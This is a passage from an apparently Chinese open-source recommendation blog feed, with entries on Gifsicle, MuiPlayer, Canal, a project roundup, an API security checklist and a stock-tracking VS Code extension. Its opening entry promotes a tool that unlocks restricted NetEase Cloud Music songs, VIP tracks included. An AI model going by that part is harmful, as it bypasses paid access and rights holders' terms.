src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061741459.png"></p><p>以后每次打开网易云先运行这个 bat 文件即可解锁所有灰色歌曲。</p><h2 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h2><p>1、如果嫌每次听歌前都要打开一个 bat 文件比较麻烦,也可以利用自有的服务器自己搭建,方法也基本差不多。</p><p>使用这个方法的话,所有平台都可以通用,最为方便了!</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061741460.png"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061741461.png"></p><p>2、提醒一下,项目主页介绍的<strong>安卓端</strong>的方法一目前已经失效了,只能使用上面自己搭建的方法。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061741462.png"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>经过小妹的体验,这个工具的使用体验还是非常的不错的,再也没有灰色限制了呢~<br>而且小妹还发现,居然V.I.P的歌曲也是可以解锁的呢!</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061741464.png"></p><p>超开心~~</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061741465.png"></p><p>感兴趣的小伙伴们,在公号后台回复「解锁」即可获取项目地址吧~~</p><p>感谢作者!</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>不到300K的GIF图片处理神器,牛逼!</title>
<link href="/blog/2022/01/06/bu-dao-300k-de-gif-tu-pian-chu-li-shen-qi-niu-bi/"/>
<url>/blog/2022/01/06/bu-dao-300k-de-gif-tu-pian-chu-li-shen-qi-niu-bi/</url>
<content type="html"><![CDATA[<p>不到300K的GIF图片处理神器,牛逼!</p><p>大家好,我是爱撸码的开源大叔!</p><p>大家是否有过这种经历:</p><p>找了半天终于找到合意的GIF图片,太大微信/QQ发不出去…</p><p>好不容易给PPT文案录制好了满意的GIF动画,领导要求修改尺寸和大小…</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061809975.png"></p><p>那一定要试试大叔今天推荐的这个项目 - Gifsicle ,绝对好用。</p><h3 id="项目介绍"><a href="#项目介绍" class="headerlink" title="项目介绍"></a>项目介绍</h3><p><strong>Gifsicle</strong> 是一个功能强大的跨平台命令行工具,可以对 GIF 文件进行修改尺寸大小、颜色、帧率等操作。目前软件在GitHub上开源,收获了近3Kstar。</p><h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><p>进入官方网站,找到对应的系统及版本下载安装即可。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061759116.png"></p><p>Linux / Mac 当然也可以直接用命令行进行安装。</p><pre><code>#Debianapt-get install gifsicle #Ubuntuapt-get install gifsicle #CentOSyum install gifsicle #Alpineapk add gifsicle #Arch Linuxpacman -S gifsicle #Kali Linuxapt-get install gifsicle #Fedoradnf install gifsicle #OS Xbrew install gifsicle #Raspbianapt-get install gifsicle #Dockerdocker run cmd.cat/gifsicle gifsicle</code></pre><p>大叔这边使用的是win10 64位的系统,下载对应的zip文件。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061759117.png"></p><p>下载好之后解压出来即可,里面有三个文件,其中的gifsicle.exe程序就是我们需要用到的。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061811176.png"></p><h3 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h3><p>Gifsicle 命令语法:</p><pre><code>gifsicle [options, frames, and filenames]...</code></pre><p>这里介绍关于GIF的常用编辑命令:</p><ul><li>1、压缩GIF<pre><code>gifsicle -O3 old.gif -o new.gif</code></pre>(注:O3中第一个为大写字母O,第二个为数字3;-o 参数指的是输出图片,o为字母)</li></ul><p>这条命令让程序自动帮你优化压缩方案,在画质和体积之间取得平衡,并且第一帧之后的每一帧都能得到优化。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061801405.gif" alt="old.gif"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061802776.gif" alt="new.gif"></p><p>能看出来差别吗?</p><ul><li>2、按比例缩小<pre><code>gifsicle old.gif --scale 0.5 -o new.gif</code></pre></li><li>-scale 0.5 指的是图片的宽和高缩小为原来的 0.5 倍,也可以是0.8,1.5倍等等</li></ul><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061759120.png"></p><ul><li>3、自定义缩小尺寸<pre><code>gifsicle old.gif --resize 500x300 -o new.gif</code></pre></li><li>-resize 500x300 指的是图片的宽和高改为500x300,同样尺寸也可以自定义。</li></ul><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061759121.png"></p><ul><li>4、修改图片颜色<pre><code>gifsicle.exe -O3 old.gif -o new.gif --colors 256</code></pre></li><li>-colors 256 指的是使用调色盘的长度,可以是256,128,64,32,16,8,4,2中的任意一个。数字越小,压缩程度越大,图片质量的也更差。</li></ul><p>多说无用,自己感受一下区别</p><p>–colors 16</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061759122.gif"></p><p>–colors 4</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061759123.gif"></p><p>–colors 2</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061759124.gif"></p><ul><li>5、其他的一些实例</li></ul><p>该工具还可以制作生成gif动画,甚至对GIF每一帧进行编辑操作。</p><p>制作 GIF 动画:</p><pre><code>gifsicle --delay=10 --loop *.gif &gt; anim.gif</code></pre><p>从动画中提取帧:</p><pre><code>gifsicle anim.gif &#39;#0&#39; &gt; firstframe.gif</code></pre><p>删除动画某一帧:</p><pre><code>gifsicle -b anim.gif --delete &#39;#0&#39;</code></pre><p>替换编辑动画某一帧:</p><pre><code>gifsicle -b anim.gif --replace &#39;#0&#39; new.gif</code></pre><p>linux也差不多。</p><p>更多参数可以执行命令:</p><pre><code>gifsicle.exe --help</code></pre><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201061759126.png"></p><p>感兴趣的话,公众号后台回复<strong>“gif”</strong> 获取 Github 项目以及官网地址哦~~~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>12月开源项目精华都在这里啦~</title>
<link href="/blog/2022/01/02/12-yue-kai-yuan-xiang-mu-jing-hua-du-zai-zhe-li-la/"/>
<url>/blog/2022/01/02/12-yue-kai-yuan-xiang-mu-jing-hua-du-zai-zhe-li-la/</url>
<content type="html"><![CDATA[<p>大家新年好啊,我是可爱又机灵的开源小妹!</p><p>12月已经悄然过去啦,又是新的一年了。小妹花了点时间整理了一下分享过的酷酷项目,方便大家进行查看和收藏!</p><p>1、<code>SpiderFlow</code>:是一个爬虫平台,以图形化方式定义爬虫流程,无需代码即可实现一个爬虫。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201022317726.jpg"></p><blockquote><p>地址:<a href="https://github.com/ssssssss-team/spider-flow">https://github.com/ssssssss-team/spider-flow</a></p></blockquote><p>2、<code>WantWords</code>:这是一个由清华大学计算机系自然语言处理与社会人文计算实验室(THUNLP)和清华大学人工智能研究合作出品的开源在线「反向词典」。说的直白一些,就是帮你把想说的话顺利无重复的、顺畅的表达出来,不再只有“卧槽”</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201022317728.jpg"></p><blockquote><p>地址:<a href="https://github.com/thunlp/WantWords">https://github.com/thunlp/WantWords</a></p></blockquote><p>3、<code>YApi</code>:高效、易用、功能强大的 API 管理平台,是为了给开发、产品、测试人员提供更加优雅的接口管理服务。可以帮助开发者们快速轻松的创建、发布、维护 API,甚至还可以利用平台提供的数据写入工具进行 Mock 数据等操作!</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201022317729.jpg"></p><blockquote><p>地址:<a href="https://github.com/ymfe/yapi">https://github.com/ymfe/yapi</a></p></blockquote><p>4、<code>PicGo</code>:一款非常优秀的图床工具。它是一款用 Electron-vue 开发的软件,可以支持七牛云,腾讯云COS,又拍云,GitHub,阿里云OSS,SM.MS,imgur,gitee 等常用图床,功能强大,简单易用。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201022317731.jpg"></p><blockquote><p>地址:<a href="https://github.com/Molunerfinn/PicGo">https://github.com/Molunerfinn/PicGo</a></p></blockquote><p>5、<code>Ventoy</code>:一个制作可启动U盘的开源工具。有了 Ventoy 你就无需反复地格式化U盘,你只需要把 ISO/WIM/IMG/VHD(x)/EFI 等类型的文件直接拷贝到U盘里面就可以启动了,无需其他操作。在启动时Ventoy会提供一个菜单来进行选择。同时支持Legacy BIOS和UEFI模式,支持Windows、Linux、VMware、Xen等常见的操作系统类型。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201022317730.jpg"></p><blockquote><p>地址:<a href="https://github.com/ventoy/Ventoy">https://github.com/ventoy/Ventoy</a></p></blockquote><p>6、<code>Mark Text</code>:一款简洁优雅的 Markdown 语法编辑器,优点是跨 windows / macOS / linux 三大平台,免费开源,界面设计精美,轻量速度快,可用性很强。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201022317732.jpg"></p><blockquote><p>地址:<a href="https://github.com/marktext/marktext">https://github.com/marktext/marktext</a></p></blockquote><p>7、<code>You-Get</code>:python3开发的跨平台命令行视频下载工具,支持国内外常用的视频网站。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201022317733.jpg"></p><blockquote><p>地址:<a href="https://github.com/hubs/you-get">https://github.com/hubs/you-get</a></p></blockquote><p>8、<code>JeecgBoot</code>:一款基于 BPM 的低代码平台!前后端分离架构 SpringBoot 2.x,SpringCloud,Ant Design&amp;Vue,Mybatis-plus,Shiro,JWT,支持微服务。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201022317734.jpg"></p><blockquote><p>地址:<a href="https://github.com/topics/jeecg-boot">https://github.com/topics/jeecg-boot</a></p></blockquote><p>9、<code>Core Values Encoder</code>:该项目使用社会主义核心价值观作为编码器,用24字社会主义核心价值观来进行加解密。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201022317735.jpg"></p><blockquote><p>项目地址:<a href="https://github.com/sym233/core-values-encoder">https://github.com/sym233/core-values-encoder</a></p></blockquote><p>10、<code>developer-roadmap</code>:这个项目主要列出不同类型的程序员学习路线,让大家能够对技术有个全方面的了解,能够为你接下来不知道如何学习提供及时的指导,已经包含了 10 条不同的程序员进阶路线,包括:前端、后端、DevOps、React、Android、Python、Go、Java、DBA。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201022317736.jpg"></p><blockquote><p>地址:<a href="https://github.com/kamranahmedse/developer-roadmap">https://github.com/kamranahmedse/developer-roadmap</a></p></blockquote><p>11、<code>city-roads</code>:一个 Node.js 项目,它可以生成任意一个城市的道路图。其数据来源于 OpenStreetMap 的免费地图数据,并对数据进行可视化。。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201022317737.jpg"></p><blockquote><p>地址:<a href="https://github.com/anvaka/city-roads">https://github.com/anvaka/city-roads</a></p></blockquote><p>12、<code>FishUpgrade</code>:一款 Mac 系统升级模拟器,打开后会全屏展示一个 macOS 系统升级的页面。Mac 用来摸鱼神器太合适了!</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201022317738.jpg"></p><blockquote><p>地址:<a href="https://github.com/Co2333/FishUpgrade">https://github.com/Co2333/FishUpgrade</a></p></blockquote><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>超强H5视频播放器</title>
<link href="/blog/2022/01/01/chao-qiang-h5-shi-pin-bo-fang-qi/"/>
<url>/blog/2022/01/01/chao-qiang-h5-shi-pin-bo-fang-qi/</url>
<content type="html"><![CDATA[<p>大家好,我是开源小妹,今天给大家一款强大的HTML5视频播放插件,<strong>MuiPlayer</strong></p><p>现在在网页中插入视频的需求越来越多了,如果自己写的话则需要考虑以下问题</p><ul><li>各个浏览器播放样式的差别</li><li>ui 扩展之间以及状态处理容易产生冲突的问题</li><li>不同客户端(pc、ios、安卓)针对html5可以触发的时间的时机也不太相同</li><li>媒体格式兼容问题</li></ul><p>所以小妹在想是不是有一款开源项目把这些问题都考虑并解决了呢,经过小妹的寻找终于找到了,就是上面所说的<strong>MuiPlayer</strong></p><h4 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h4><p>MuiPlayer是一款H5视频播放插件,默认配置了精美可配置的的的播放控件,包括了常用的播放场景,例如全屏播放、播放快进、循环播放、音量调节、视频解码等功能。支持 mp4、m3u8、flv 等多种媒体格式播放,解决大部分兼容问题,同时适应在PC、手机端播放。 MuiPlayer 除了默认的简单配置,还具有丰富的参数可以自定义播放器实例,通过轻松的配置即可完成自定义场景的视频播放。</p><h4 id="快速入门"><a href="#快速入门" class="headerlink" title="快速入门"></a>快速入门</h4><p><strong>MuiPlayer</strong>提供了多种安装方式</p><ol><li><p>通过npm安装</p><pre><code>npm i mui-player --save</code></pre></li><li><p>通过yarn安装</p><pre><code>yarn add mui-player</code></pre></li><li><p>直接引入js文件也是可以的,</p></li></ol><p>下面小妹使用直接引入js的方式,体验一下<strong>MuiPlayer</strong>的功能吧</p><p>创建demo项目,目录结构如下:</p><p><img src="https://gitee.com/panghu2019/open_source_images/raw/master/202112/image-20211231230142035.png" alt="image-20211231230142035">image-</p><p><strong>创建Html文件</strong></p><pre><code>&lt;!DOCTYPE html&gt;&lt;html&gt; &lt;head&gt; &lt;meta charset=&quot;utf-8&quot;&gt; &lt;title&gt;Simple&lt;/title&gt; &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;css/mui-player.min.css&quot;/&gt; &lt;script type=&quot;text/javascript&quot; src=&quot;js/mui-player.min.js&quot;&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id=&quot;mui-player&quot;&gt;&lt;/div&gt; &lt;/body&gt; &lt;script type=&quot;application/javascript&quot;&gt; var mp = new MuiPlayer(&#123; container:&#39;#mui-player&#39;, title:&#39;Simple&#39;, src:&#39;./video/Elk安装准备01.mov&#39;, &#125;) &lt;/script&gt;&lt;/html&gt;</code></pre><p>运行效果如下:</p><p><img src="https://gitee.com/panghu2019/open_source_images/raw/master/202112/image-20211231230003847.png" alt="image-20211231230003847"></p><p>是不是使用起来很简单,很方便呢。当然<strong>MuiPlayer</strong>还可以进行其他的一些配置例如:</p><ul><li>自动播放:autoplay 默认为false,如果设置为true则会自动进行播放</li><li>循环播放:loop 默认false,如果设置为true则会循环播放</li><li>静音播放:muted 默认为false</li><li>初始化播放器宽度:width 默认为auto</li><li>初始化播放器高度:height 默认为225px</li></ul><p>除了以上的一些属性设置,还有其他的属性设置小妹就不在这里一一列举了,感兴那个趣的同学可以尝试<strong>MuiPlayer</strong>更丰富的设置。</p><p><strong>MuiPlayer</strong>除了有属性设置,还提供的事件监听,用来处理适当的动作。</p><pre><code>mp.on(&#39;fullscreen-change&#39;, function(event)&#123; var fullScreen = event.fullscreen if(fullScreen)&#123; console.log(&#39;全屏了&#39;) &#125;else&#123; console.log(&#39;退出全屏了&#39;) &#125;&#125;);</code></pre><p>绑定监听事件之后可以看到如下日志信息</p><p><img src="https://gitee.com/panghu2019/open_source_images/raw/master/202112/image-20211231232304959.png" alt="image-20211231232304959"></p><p><strong>MuiPlayer</strong>还提供了一些方法(接口)用户可以自己控制一些播放器的行为动作,例如开启全屏、退出全屏等</p><p>还有很多其他丰富的功能,小妹在这里就不一一介绍, 下面小妹在对<strong>MuiPlayer</strong>总结一下。</p><h4 id="小妹总结"><a href="#小妹总结" class="headerlink" title="小妹总结"></a>小妹总结</h4><p>经过上面的简单介绍相信大家对<strong>MuiPlayer</strong>也有了大概的了解,<strong>MuiPlayer</strong>提供了丰富的配置和事件方便用户自己自定义场景,并且针对PC端和移动端有单独的扩展<strong>mui-player-desktop-plugin</strong> 和<strong>mui-player-mobile-plugin.js</strong>,刚兴趣的同学快去动手尝试一下吧。</p>]]></content>
<tags>
<tag> 老胡 </tag>
</tags>
</entry>
<entry>
<title>数据同步利器</title>
<link href="/blog/2022/01/01/shu-ju-tong-bu-li-qi/"/>
<url>/blog/2022/01/01/shu-ju-tong-bu-li-qi/</url>
<content type="html"><![CDATA[<p>大家好,我是开源小妹,今天给大家一款强大的数据同步开源项目,<strong>Canal</strong> 最近小妹收到需求需要做一些数据同步的工作,小妹首先想到数据同步那就用定时任务吧,但是定时任务的弊端在于时效性不够高,如果对于时效性要求稍高的话则定时任务就明显不合适的,最终小妹找到了<strong>Canal</strong>项目正好可以满足需求能够及时的进行数据同步。 接下来跟着小妹一块来看看这款项目吧</p><h3 id="Canal概述"><a href="#Canal概述" class="headerlink" title="Canal概述"></a><strong>Canal概述</strong></h3><p>Canal 译意为水道/管道/沟渠,主要用途是基于 MySQL 数据库增量日志解析,提供增量数据订阅和消费 当前的Canal支持源端Mysql版本包括5.1.x , 5.5.x , 5.6.x , 5.7.x , 8.0.x</p><p><img src="https://gitee.com/panghu2019/open_source_images/raw/master/202112/image-20210930093131556.png" alt="image-20210930093131556"></p><h3 id="Canal工作原理"><a href="#Canal工作原理" class="headerlink" title="Canal工作原理"></a><strong>Canal工作原理</strong></h3><h4 id="Mysql主备复制原理"><a href="#Mysql主备复制原理" class="headerlink" title="Mysql主备复制原理"></a>Mysql主备复制原理</h4><ul><li>Mysql master将数据变更写入二进制日志(binary log,其中记录叫做二进制日志事件,binary log events)</li><li>Mysql slave 将master的binary log events 拷贝到它的中继日志(relay log)</li><li>Mysql slave slave 重放 relay log 中事件,将数据变更反映它自己的数据</li></ul><h4 id="canal工作原理"><a href="#canal工作原理" class="headerlink" title="canal工作原理"></a>canal工作原理</h4><ul><li>canal模拟Mysql slave的交互协议,伪装自己为Mysql slave,向Mysql master发送dump协议,</li><li>Mysql master收到dump请求,开始推送binary log 给slave(也就是canal)</li><li>canal 解析binary log 对象(原始为byte流)</li></ul><h3 id="Canal简单使用"><a href="#Canal简单使用" class="headerlink" title="Canal简单使用"></a><strong>Canal简单使用</strong></h3><h4 id="安装部署-Canal"><a href="#安装部署-Canal" class="headerlink" title="安装部署 Canal"></a>安装部署 Canal</h4><ol><li><p>需要开启mysql的binlog写入功能,配置binlog-format 为Row模式</p></li><li><p>下载Canal <a href="https://github.com/alibaba/canal/releases/download/canal-1.0.17/canal.deployer-1.0.17.tar.gz">点击下载</a></p></li><li><p>安装 &amp; 配置</p><ul><li><p>解压下载的文件</p><pre><code>mkdir /tmp/canaltar zxvf canal.deployer-$version.tar.gz -C /tmp/canal</code></pre></li><li><p>配置</p><pre><code>vi conf/example/instance.properties## mysql serverIdcanal.instance.mysql.slaveId = 1234#position info,需要改成自己的数据库信息canal.instance.master.address = 127.0.0.1:3306 canal.instance.master.journal.name = canal.instance.master.position = canal.instance.master.timestamp = #canal.instance.standby.address = #canal.instance.standby.journal.name =#canal.instance.standby.position = #canal.instance.standby.timestamp = #username/password,需要改成自己的数据库信息canal.instance.dbUsername = canal canal.instance.dbPassword = canalcanal.instance.defaultDatabaseName =canal.instance.connectionCharset = UTF-8#table regexcanal.instance.filter.regex = .\*\\\\..\*</code></pre></li></ul></li><li><p>启动</p><pre><code>sh bin/startup.sh#查看启动日志vi logs/canal/canal.log&lt;/pre&gt;</code></pre></li><li><p>关闭</p><pre><code>sh bin/stop.sh</code></pre></li></ol><h4 id="安装部署Canal-Admin"><a href="#安装部署Canal-Admin" class="headerlink" title="安装部署Canal Admin"></a>安装部署Canal Admin</h4><p>canal-admin设计上是为canal提供整体配置管理、节点运维等面向运维的功能,提供相对友好的WebUI操作界面,方便更多用户快速和安全的操作</p><h4 id="安装部署"><a href="#安装部署" class="headerlink" title="安装部署"></a>安装部署</h4><ol><li><p>下载安装 <a href="https://github.com/alibaba/canal/releases/download/canal-1.1.4/canal.admin-1.1.4.tar.gz">点击下载</a></p></li><li><p>解压配置 &amp; 初始化sql</p><pre><code>mkdir /tmp/canal-admintar zxvf canal.admin-$version.tar.gz -C /tmp/canal-admin#修改配置vi conf/application.yml</code></pre><p>a. 初始化SQL脚本里会默认创建canal_manager的数据库,建议使用root等有超级权限的账号进行初始化 b. canal_manager.sql默认会在conf目录下,也可以通过链接下载 <a href="https://raw.githubusercontent.com/alibaba/canal/master/canal-admin/canal-admin-server/src/main/resources/canal_manager.sql">canal_manager.sql</a></p></li><li><p>启动 &amp; 关闭</p><pre><code>#启动sh bin/startup.sh#关闭sh bin/stop.sh</code></pre><p>启动成功之后 可以通过 可以通过 <a href="http://127.0.0.1:8089/">http://127.0.0.1:8089/</a> 访问,默认密码:admin/123456</p></li></ol><h4 id="简单操作"><a href="#简单操作" class="headerlink" title="简单操作"></a>简单操作</h4><p>集群管理里面配置响应的集群信息,以及zookeeper地址</p><p><img src="https://gitee.com/panghu2019/open_source_images/raw/master/202112/image-20210930095942494.png" alt="image-20210930095942494"></p><p>CanalServer管理</p><p><img src="https://gitee.com/panghu2019/open_source_images/raw/master/202112/image-20210930100247819.png" alt="image-20210930100247819"></p><p>Instance管理 也就是使用Canal的客户端 例如 要同步商品库,会员库, 则可以分别配置实例</p><p><img src="https://gitee.com/panghu2019/open_source_images/raw/master/202112/image-20210930100546553.png" alt="image-20210930100546553"></p><p>新建instance</p><p><img src="https://gitee.com/panghu2019/open_source_images/raw/master/202112/image-20210930100619738.png" alt="image-20210930100619738"></p><p>通过小妹上面的介绍是不是对Canal这块利器有所了解了呢,如果小伙伴们工作中遇到相关的场景可以考虑使用Canal来实现。</p><h4 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h4><p>上面小妹大概介绍了Canal的简单使用,安装配置好之后基本上所有的操作都是可以在控制台进行操作的,使用起来非常方便。不过Canal在部署上也有弊端,就是需要单独安装ZK。感兴趣的小伙伴可以去尝试一下。</p>]]></content>
<tags>
<tag> 老胡 </tag>
</tags>
</entry>
<entry>
<title>震惊!这个超16k star的项目居然只有README文件!</title>
<link href="/blog/2021/12/31/zhen-liang-zhe-ge-chao-16k-star-de-xiang-mu-ju-ran-zhi-you-readme-wen-jian/"/>
<url>/blog/2021/12/31/zhen-liang-zhe-ge-chao-16k-star-de-xiang-mu-ju-ran-zhi-you-readme-wen-jian/</url>
<content type="html"><![CDATA[<p>Hello,大家好呀!我是可爱又机灵的开源小妹。</p><p>这两天,小妹在 Github 上闲逛的时候,无意中发现了一个超级神奇的项目,这个项目只有一个 README 文件(其他的 README 文件都只是源文件不同语种的翻译版本),但是却能在高手如云的 Github 上拥有超过 16K start,真的是非常神奇,着实让小妹实名羡慕了。</p><p>不但如此,就是这区区一个 README 文件,作者居然一本正经的上传了一个LICENSE授权文件,小妹真的是第一次看到一个 README 文件还需要进行 MIT 协议授权的,是以前的我孤陋寡闻了……..。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202201162133084.png" alt="1"></p><p>好了,说了这么多,接下来让小妹带大家看一下这到底是个什么样的项目吧!</p><h4 id="项目简介:"><a href="#项目简介:" class="headerlink" title="项目简介:"></a>项目简介:</h4><p>整个项目结构及其简单,毕竟只有一些 README 文件,也实在是复杂不起来啊!进入项目就可以看到当前所有的 README 文件列表。其中 README.md 就是它的核心文件。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202201162134570.jpg" alt="2"></p><h4 id="快速入门:"><a href="#快速入门:" class="headerlink" title="快速入门:"></a>快速入门:</h4><p>这个 README 文件其实是一份 API 安全检查清单,可以用来帮助广大程序员开发一个安全可靠的 API 接口。只需要对照着这份清单,逐条检查检查自己的 API 接口,就可以了解接口是否足够安全,或者发现相关的漏洞。</p><ul><li>低于30%,非常不安全 </li><li>低于60%,一般安全</li><li>低于80%,比较安全</li><li>完全符合,非常安全</li></ul><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202201162134685.jpg"></p><p>当然世事无绝对,系统安全的道路永无止境,这份安全检查清单也只是列举出了一些当前常用或者重要的安全方案。但是我想这已经足够引起大家对 API 安全的重视了,如果能够按照这份清单成功修复了一些问题,规避了安全漏洞,就算是功德无量啦!</p><h4 id="小结:"><a href="#小结:" class="headerlink" title="小结:"></a>小结:</h4><p>当然,如果你对 API 安全有更好的补充,也可以直接发邮件或者 push 推送给项目的作者,这样还可以造福其他开发 API 的小伙伴啦!比如说小妹我。</p><p>最后,这份清单中文版翻译之后的内容简介清晰,即便是英文不好的小伙伴们也完全不用担心,真的是有手就行啊!</p><p>想要拥有这么神奇又好用的项目,还不赶快去公众号后台回复「<strong>安全</strong>」即可获取项目源码地址。</p><h4 id="写在最后:"><a href="#写在最后:" class="headerlink" title="写在最后:"></a>写在最后:</h4><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p>]]></content>
<tags>
<tag> zero </tag>
</tags>
</entry>
<entry>
<title>当代打工人必备!顶级摸鱼神器!韭菜的自我修养!</title>
<link href="/blog/2021/12/31/dang-dai-da-gong-ren-bi-bei-ding-ji-mo-yu-shen-qi-jiu-cai-de-zi-wo-xiu-yang/"/>
<url>/blog/2021/12/31/dang-dai-da-gong-ren-bi-bei-ding-ji-mo-yu-shen-qi-jiu-cai-de-zi-wo-xiu-yang/</url>
<content type="html"><![CDATA[<p>大家好,这里是一个虽然最近看起来有点难过,但是实际比看起来更加难过的大叔。</p><p>毕竟,大叔我已经绿了一个多月了呀! </p><p>想必各位小伙伴都已经知道我说的是什么了,对,没错!就是它!那个万恶的<strong>中丐互怜</strong>。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112311638112.jpg" alt="1"></p><p>自从上了它的贼船,大叔那是一看手机就要被绿一次,连最爱的代码都快撸不动了。终于,我觉得不能在这样下去了,于是,这就有了今天的主角:股票&amp;基金实时数据查看神器 – 韭菜盒子。</p><p>这下终于不用一直看手机盯盘了!</p><h4 id="项目简介:"><a href="#项目简介:" class="headerlink" title="项目简介:"></a>项目简介:</h4><p>俗话说的好,能让你变的富有的不是看你工作能挣来多少钱,而是在于你的”睡后收入“能带来多少收益。在当下的社会中,合理的投资理财既可以是一种储蓄方式,也可以作为一种很好的资产增值手段,是当下一种相当流行”睡后收入“的方式了。</p><p>但是,股票和一些场内基金的操作难免需要实时监视着市场的数据变化,对于短线操作的人来说更是如此。但是作为一个上班族,可能并没有那么多的精力在工作的时候实时关注市场走势。</p><p>那么现在大叔就推荐一个能够帮助你在工作的时间也可以理(摸)财(鱼)的神器 – 韭菜盒子,通过这个神器,你在VSCode中就可以随时查看股票、基金的实时数据了,而且还可以秒切”工作模式“,养基工作两不误!</p><h4 id="快速入门:"><a href="#快速入门:" class="headerlink" title="快速入门:"></a>快速入门:</h4><ol><li>首先,你需要一个VSCode</li><li>打开VSCode后,点击拓展</li><li>搜索韭菜盒子,并安装即可<img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112311638113.jpg" alt="2"></li></ol><p>安装之后,在VSCode左侧边栏就会出现股票窗口啦!</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112311638114.jpg" alt="3"></p><h5 id="功能总览:"><a href="#功能总览:" class="headerlink" title="功能总览:"></a>功能总览:</h5><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112311638121.png" alt="4"></p><p>是不是功能非常的丰富呢?下面给大家简单介绍一下各个功能怎么使用吧!</p><h5 id="排序、刷新和添加:"><a href="#排序、刷新和添加:" class="headerlink" title="排序、刷新和添加:"></a>排序、刷新和添加:</h5><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112311638115.jpg" alt="5"></p><p>上图两个窗口中展示的都是<strong>已收藏</strong>的基金和股票,如果想要添加新的基金、股票就点击“+”号,搜索基金、股票名称或者代码添加。</p><p>排序、降序按涨跌值排序;不排序的模式是按基金代码或股票代码的顺序,配置文件中数组的元素顺序(可以临时利用这个调整你们想置顶关注的股票或基金)。</p><h5 id="基金历史净值:"><a href="#基金历史净值:" class="headerlink" title="基金历史净值:"></a>基金历史净值:</h5><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112311638116.jpg" 